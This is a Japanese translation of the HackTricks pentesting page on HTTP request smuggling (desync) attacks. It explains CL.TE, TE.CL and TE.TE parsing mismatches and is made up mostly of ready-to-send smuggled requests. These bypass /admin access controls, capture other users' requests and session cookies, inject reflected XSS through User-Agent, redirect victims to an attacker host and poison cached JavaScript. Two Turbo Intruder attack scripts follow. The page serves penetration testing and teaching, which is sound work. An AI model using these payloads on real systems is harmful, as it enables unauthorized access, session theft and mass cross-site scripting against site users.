hacktricks/pentesting-web/http-request-smuggling
2024-02-09 08:23:12 +00:00
..
browser-http-request-smuggling.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-05 20:22:21 +00:00
README.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
request-smuggling-in-http-2-downgrades.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00

HTTP リクエストスマグリング / HTTP デシンク攻撃

htARTEHackTricks AWS Red Team Expert を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

何を指すか

この脆弱性は、フロントエンドプロキシバックエンドサーバーの間の非同期化により、攻撃者がHTTP リクエストを送信し、それがフロントエンドプロキシ(ロードバランス/リバースプロキシ)によって1つのリクエストとして解釈され、バックエンドサーバーによって2つのリクエストとして解釈されることを可能にします。
これにより、ユーザーは自分の後に到着する次のリクエストを変更することができます。

理論

RFC仕様2161

メッセージにTransfer-EncodingヘッダーフィールドとContent-Lengthヘッダーフィールドの両方が含まれる場合、後者は無視される必要があります。

Content-Length

Content-Lengthエンティティヘッダーは、受信者に送信されるエンティティボディのサイズバイト単位を示します。

Transfer-Encoding: chunked

Transfer-Encodingヘッダーは、ペイロードボディを安全にユーザーに転送するために使用されるエンコーディング形式を指定します。
Chunkedは、大きなデータがチャンクのシリーズで送信されることを意味します。

現実

フロントエンド(ロードバランス/リバースプロキシ)は content-length または transfer-encoding ヘッダーを処理し、バックエンドサーバーはもう一方を処理するため、2つのシステムの間に非同期化を引き起こします。
これは非常に重大であり、攻撃者がリバースプロキシに1つのリクエストを送信し、バックエンドサーバーが2つの異なるリクエストとして解釈することができます。この技術の危険性は、バックエンドサーバーが注入された2番目のリクエスト次のクライアントから来たものとして解釈し、そのクライアントの実際のリクエスト注入されたリクエストの一部として扱われることにあります。

特異性

HTTPでは、改行文字は2バイトで構成されることを覚えておいてください:

  • Content-Length: このヘッダーは、リクエストのボディのバイト数を示す10進数を使用します。ボディは最後の文字で終了することが期待されており、リクエストの末尾に改行は必要ありません
  • Transfer-Encoding: このヘッダーは、次のチャンクのバイト数を示す16進数ボディで使用します。チャンク新しい行で終了する必要がありますが、この新しい行は長さ指示子には含まれません。この転送方法は、サイズ0のチャンクに続く2つの新しい行で終了する必要があります: 0
  • Connection: 私の経験に基づいて、リクエストスマグリングの最初のリクエストで Connection: keep-alive を使用することをお勧めします。

基本的な例

HTTPリクエストスマグリング攻撃は、フロントエンドとバックエンドサーバーがContent-LengthCLおよびTransfer-EncodingTEヘッダーを解釈する方法の違いを悪用する曖昧なリクエストを送信して作成されます。これらの攻撃は、主にCL.TETE.CLTE.TEの形で現れます。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表します。サーバーが同じリクエストを異なる方法で処理することから、脆弱性が生じ、予期しない悪意のある結果が生じる可能性があります。

脆弱性タイプの基本的な例

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

CL.TE 脆弱性フロントエンドがContent-Lengthを使用し、バックエンドがTransfer-Encodingを使用

  • フロントエンドCL: Content-Lengthヘッダーに基づいてリクエストを処理します。
  • バックエンドTE: Transfer-Encodingヘッダーに基づいてリクエストを処理します。
  • 攻撃シナリオ:
  • 攻撃者は、Content-Lengthヘッダーの値が実際のコンテンツ長と一致しないリクエストを送信します。
  • フロントエンドサーバーは、Content-Lengthの値に基づいてリクエスト全体をバックエンドに転送します。
  • バックエンドサーバーは、Transfer-Encoding: chunkedヘッダーによりリクエストをチャンク化し、残りのデータを別々の後続リクエストとして解釈します。
  • 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL 脆弱性フロントエンドがTransfer-Encodingを使用し、バックエンドがContent-Lengthを使用

  • フロントエンドTE: Transfer-Encodingヘッダーに基づいてリクエストを処理します。
  • バックエンドCL: Content-Lengthヘッダーに基づいてリクエストを処理します。
  • 攻撃シナリオ:
  • 攻撃者は、チャンクサイズ(7b)と実際のコンテンツ長(Content-Length: 4)が一致しないチャンクリクエストを送信します。
  • フロントエンドサーバーは、Transfer-Encodingを尊重し、リクエスト全体をバックエンドに転送します。
  • バックエンドサーバーは、Content-Lengthを尊重し、リクエストの初期部分のみ(7bバイト)を処理し、残りを意図しない後続リクエストの一部として残します。
  • 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE 脆弱性両方でTransfer-Encodingを使用し、曖昧化

  • サーバー: 両方がTransfer-Encodingをサポートしていますが、曖昧化によって無視される可能性があります。
  • 攻撃シナリオ:
  • 攻撃者は、曖昧化されたTransfer-Encodingヘッダーを含むリクエストを送信します。
  • どちらのサーバーフロントエンドまたはバックエンドが曖昧化を認識できないかに応じて、CL.TEまたはTE.CL脆弱性が悪用される可能性があります。
  • 1つのサーバーが見る未処理のリクエストの部分が、後続リクエストの一部となり、スマグリングが発生します。
  • 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL シナリオフロントエンドとバックエンドの両方がContent-Lengthを使用:

  • 両方のサーバーがリクエストをContent-Lengthヘッダーだけを基に処理します。
  • 通常、両方のサーバーがリクエストの長さを解釈する方法に一致があるため、スマグリングにはつながりません。
  • 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

通常のリクエスト

CL != 0 シナリオ:

  • Content-Lengthヘッダーが存在し、ゼロ以外の値を持っている場合を指します。これは、リクエストボディにコンテンツがあることを示します。
  • スマグリング攻撃を理解し、作成する上で重要であり、サーバーがリクエストの終わりをどのように決定するかに影響を与えます。
  • 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

ホップバイホップヘッダーを使用して強制する

ホップバイホップヘッダーを悪用することで、プロキシにヘッダーContent-LengthまたはTransfer-Encodingを削除するよう指示することができ、HTTPリクエストスマグリングを悪用することが可能です。

Connection: Content-Length

HTTPリクエストスマグリングの発見

HTTPリクエストスマグリングの脆弱性を特定することは、サーバーが操作されたリクエストにどれくらいの時間で応答するかを観察するタイミング技術を使用してしばしば達成できます。これらの技術は、CL.TEおよびTE.CLの脆弱性を検出するのに特に有用です。これらの方法以外にも、このような脆弱性を見つけるために使用できる他の戦略やツールがあります。

タイミング技術を使用してCL.TE脆弱性を見つける

  • 方法:
  • 脆弱性がある場合、バックエンドサーバーが追加のデータを待機するようにするリクエストを送信します。
  • 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • 観察:

  • フロントエンドサーバーはContent-Lengthに基づいてリクエストを処理し、メッセージを途中で切り捨てます。

  • バックエンドサーバーは、チャンク形式のメッセージを期待しており、到着しない次のチャンクを待機することで遅延が発生します。

  • 指標:

  • 応答にタイムアウトや長い遅延がある。

  • バックエンドサーバーから400 Bad Requestエラーを受信し、場合によっては詳細なサーバー情報が含まれています。

タイミング技術を使用してTE.CL脆弱性を見つける

  • 方法:
  • 脆弱性がある場合、バックエンドサーバーが追加のデータを待機するようにするリクエストを送信します。
  • 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • 観察:
  • フロントエンドサーバーはTransfer-Encodingに基づいてリクエストを処理し、メッセージ全体を転送します。
  • バックエンドサーバーは、Content-Lengthに基づいたメッセージを期待しており、到着しない追加のデータを待機することで遅延が発生します。

脆弱性を見つけるための他の方法

  • 差分応答解析:

  • 異なるバージョンのリクエストをわずかに変更して送信し、サーバーの応答が予期しない方法で異なるかどうかを観察し、解析の不一致を示します。

  • 自動化ツールの使用:

  • Burp Suiteの 'HTTP Request Smuggler' 拡張機能のようなツールを使用して、曖昧なリクエストのさまざまな形式を送信し、応答を分析してこれらの脆弱性を自動的にテストできます。

  • Content-Lengthの変動テスト:

  • 実際のコンテンツ長さと一致しないContent-Length値を持つリクエストを送信し、サーバーがそのような不一致をどのように処理するかを観察します。

  • Transfer-Encodingの変動テスト:

  • 曖昧または不正なTransfer-Encodingヘッダーを持つリクエストを送信し、フロントエンドサーバーとバックエンドサーバーがそのような操作に対して異なる方法で応答するかを監視します。

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE攻撃では、最初のリクエストにはContent-Lengthヘッダーが利用され、その後の埋め込まれたリクエストにはTransfer-Encoding: chunkedヘッダーが利用されます。フロントエンドプロキシは最初のPOSTリクエストを処理しますが、埋め込まれたGET /adminリクエストを検査せず、/adminパスへの未承認アクセスを許可します。

TE.CLの例

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

逆に、TE.CL攻撃では、最初のPOSTリクエストでTransfer-Encoding: chunkedを使用し、後続の埋め込まれたリクエストはContent-Lengthヘッダーに基づいて処理されます。CL.TE攻撃と同様に、フロントエンドプロキシはスマグルされたGET /adminリクエストを見落とし、誤って制限された/adminパスへのアクセスを許可します。

フロントエンドリクエストの書き換えを明らかにする

アプリケーションはしばしば、リクエストをバックエンドサーバーに渡す前に変更するためにフロントエンドサーバーを使用します。典型的な変更には、X-Forwarded-For: <クライアントのIP>などのヘッダーを追加して、クライアントのIPをバックエンドに中継することが含まれます。これらの変更を理解することは重要であり、それによって保護をバイパスしたり、隠された情報やエンドポイントを明らかにする方法が明らかになる可能性があります。

プロキシがリクエストをどのように変更するかを調査するには、バックエンドが応答でエコーするPOSTパラメーターを見つけます。その後、このパラメーターを最後に使用して、次のようなリクエストを作成します。

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

この構造では、search=の後に続くリクエストコンポーネントが追加され、それがレスポンスで反映されるパラメータとなります。この反映により、後続のリクエストのヘッダーが公開されます。

ネストされたリクエストのContent-Lengthヘッダーを実際のコンテンツ長と一致させることが重要です。小さな値から始め、徐々に増やすことが望ましいです。値が低すぎると反映されるデータが切り捨てられ、値が高すぎるとリクエストがエラーになる可能性があります。

このテクニックはTE.CL脆弱性の文脈でも適用可能ですが、リクエストはsearch=\r\n0で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。

この方法は、主にフロントエンドプロキシによって行われたリクエストの変更を理解するために役立ち、基本的に自己調査を行います。

他のユーザーのリクエストをキャプチャする

次のユーザーのリクエストをキャプチャすることが可能で、POST操作中に特定のリクエストをパラメータの値として追加することで実現できます。以下は、これを達成する方法です

以下のリクエストをパラメータの値として追加することで、後続のクライアントのリクエストを保存できます:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

このシナリオでは、comment parameter は、公開されたページのコメントセクション内のコンテンツを保存するために意図されています。したがって、次のリクエストの内容はコメントとして表示されます。

ただし、このテクニックには制限があります。一般的に、スマグルされたリクエストで使用されるパラメーター区切り記号までのデータのみをキャプチャします。URLエンコードされたフォーム送信の場合、この区切り記号は & 文字です。これは、被害者ユーザーのリクエストからキャプチャされたコンテンツが最初の & で停止することを意味します。これはクエリ文字列の一部である可能性さえあります。

さらに、このアプローチはTE.CL脆弱性でも有効であることに注意する価値があります。このような場合、リクエストは search=\r\n0 で終了する必要があります。改行文字に関係なく、値は検索パラメーターに追加されます。

反射型XSSを悪用するためにHTTPリクエストスマグリングを使用する

HTTPリクエストスマグリングを利用して、反射型XSS に脆弱なWebページを悪用することができ、次の利点があります

  • ターゲットユーザーとのやり取りが不要です。
  • 通常到達不可能なリクエストの一部でXSSを悪用することができます。例HTTPリクエストヘッダー。

User-Agentヘッダーを介して反射型XSSに脆弱なウェブサイトのシナリオでは、次のペイロードがこの脆弱性を悪用する方法を示しています

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

このペイロードは、以下の手順で脆弱性を悪用するために構築されています:

  1. Transfer-Encoding: chunkedヘッダーを含む、一見通常のPOSTリクエストを開始し、スマグリングの開始を示す。
  2. 0を続け、チャンクメッセージボディの終了をマークする。
  3. 次に、スマグリングされたGETリクエストが導入され、User-Agentヘッダーにスクリプト<script>alert(1)</script>が挿入され、サーバーがこの後続リクエストを処理する際にXSSをトリガーする。

User-Agentをスマグリングを通じて操作することで、通常のリクエスト制約をバイパスし、非標準だが効果的な方法で反射型XSS脆弱性を悪用します。

HTTPリクエストスマグリングを使用してオンサイトリダイレクトをオープンリダイレクトに変換する

HTTPリクエストスマグリングを使用したオンサイトリダイレクトの悪用

アプリケーションは、リダイレクトURLでHostヘッダーからホスト名を使用して別のURLにリダイレクトすることがよくあります。これは、ApacheやIISなどのWebサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダをリクエストすると、スラッシュを含むリダイレクトが発生します。

GET /home HTTP/1.1
Host: normal-website.com

結果:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

この振る舞いは無害に見えますが、HTTPリクエストスマグリングを使用してユーザーを外部サイトにリダイレクトするように操作することができます。例

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

この密輸されたリクエストにより、次に処理されるユーザーリクエストが攻撃者が制御するウェブサイトにリダイレクトされる可能性があります。

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

結果:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

HTTPリクエストスマグリングを使用してWebキャッシュポイズニングを実行する

HTTPリクエストスマグリングを利用したWebキャッシュポイズニングの悪用

Webキャッシュポイズニングは、フロントエンドインフラストラクチャがコンテンツをキャッシュしている場合に実行できます。これは通常、パフォーマンスを向上させるためです。サーバーのレスポンスを操作することで、キャッシュをポイズンすることが可能です。

以前、サーバーレスポンスを変更して404エラーを返すことができることを確認しました基本例を参照)。同様に、サーバーをだまして、/static/include.jsのリクエストに対して/index.htmlのコンテンツを返すことが可能です。その結果、/static/include.jsのコンテンツが/index.htmlのものでキャッシュされ、ユーザーが/static/include.jsにアクセスできなくなり、拒否サービスDoS攻撃につながる可能性があります。

このテクニックは、オープンリダイレクト脆弱性が発見された場合や、オンサイトリダイレクトがオープンリダイレクトになっている場合に特に有効です。これらの脆弱性を悪用して、/static/include.jsのキャッシュコンテンツを攻撃者が制御するスクリプトに置き換えることが可能であり、更新された/static/include.jsをリクエストするすべてのクライアントに対して広範囲なクロスサイトスクリプティングXSS攻撃を実行できます。

以下は、オンサイトリダイレクトからオープンリダイレクトへのリダイレクトとキャッシュポイズニングの悪用の例です。目的は、/static/include.jsのキャッシュコンテンツを攻撃者が制御するJavaScriptコードで提供することです

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

埋め込まれたリクエストは/post/next?postId=3を対象としています。このリクエストは、Hostヘッダーの値を使用してドメインを決定し、/post?postId=4にリダイレクトされます。攻撃者はHostヘッダーを変更することで、リクエストを自身のドメインにリダイレクトできます(オンサイトリダイレクトからオープンリダイレクトへ)。

ソケットポイズニングが成功した後、/static/include.jsへのGETリクエストを開始する必要があります。このリクエストは、前述のオンサイトリダイレクトからオープンリダイレクトリクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。

その後、/static/include.jsへの任意のリクエストは、攻撃者のスクリプトのキャッシュされたコンテンツを提供し、広範なXSS攻撃を実行します。

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

If this smuggled request poisons a cache entry intended for static content (e.g., /someimage.png), the victim's sensitive data from /private/messages might be cached under the static content's cache entry. Consequently, the attacker could potentially retrieve these cached sensitive data.

HTTPレスポンスデシンクロナイゼーションを使用したHTTPリクエストスムグリングの武器化

HTTPリクエストスムグリングの脆弱性を見つけた場合、その他の攻撃方法を試してみてください:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Turbo intruderスクリプト

CL.TE

From https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

From: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

ツール

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert!

HackTricksをサポートする他の方法: